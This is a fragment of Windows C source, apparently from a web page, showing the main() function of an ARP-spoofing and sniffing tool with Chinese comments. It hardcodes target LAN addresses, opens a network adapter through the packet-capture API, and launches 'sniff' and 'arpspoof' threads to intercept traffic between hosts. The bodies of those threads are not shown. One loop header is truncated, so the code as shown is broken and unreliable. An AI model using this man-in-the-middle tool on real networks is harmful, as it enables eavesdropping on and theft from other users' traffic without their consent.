C/C++ codeint main(int argc,char *argv[])
{
HANDLE thread[2];
WCHAR adaptername[8192];
WCHAR *name1,*name2;
ULONG adapterlength;
DWORD threadsid,threadrid;
int adapternum,open,i;
//system("cls.exe");
/*
if(argc!=4)
{
usage();
return -1;
}
*/
firstip=inet_addr("10.0.0.209");
secondip=inet_addr("10.0.1.254");
virtualip=inet_addr("10.0.1.28");
/* firstip=inet_addr(argv[1]);
secondip=inet_addr(argv[2]);
virtualip=inet_addr(argv[3]);
*/
//获得物理地址
if(getmac()==FALSE)
{
return -1;
}
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)//获得网卡适配器名称
{
printf("PacketGetAdapterNames Error: %d\n",GetLastError());
return -1;
}
name1=adaptername;
name2=adaptername;
i=0;
while((*name1!='\0') || (*(name1-1)!='\0'))
{
if(*name1=='\0')
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf("Adapters Installed: \n");
for(i=0;i
{
wprintf(L"%d - %s\n",i+1,adapterlist[i]);
}
do
{
printf("\nSelect the number of the adapter to open: ");
scanf("%d",&open);
if(open>=1 && open<=adapternum)
break;
}while(open<1 || open>adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error: %d\n",GetLastError());
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Send Error: %d\n",GetLastError());
return -1;
}
thread[0]=CreateThread(NULL,0,sniff,NULL,0,&threadrid);
if(thread[0]==NULL)
{
printf("CreateThread for sniffer Error: %d\n",GetLastError());
return -1;
}
thread[1]=CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
if(thread[1]==NULL)
{
printf("CreateThread for arpspoof Error: %d\n",GetLastError());
return -1;
}
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
CloseHandle(thread[0]); //关闭一个内核对象。其中包括文件、文件映射、进程、线程、安全和同步对象等。
CloseHandle(thread[1]);
PacketFreePacket(lppackets); //释放_PACKET结构
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter); //关闭网卡//关闭适配器
return 0;
}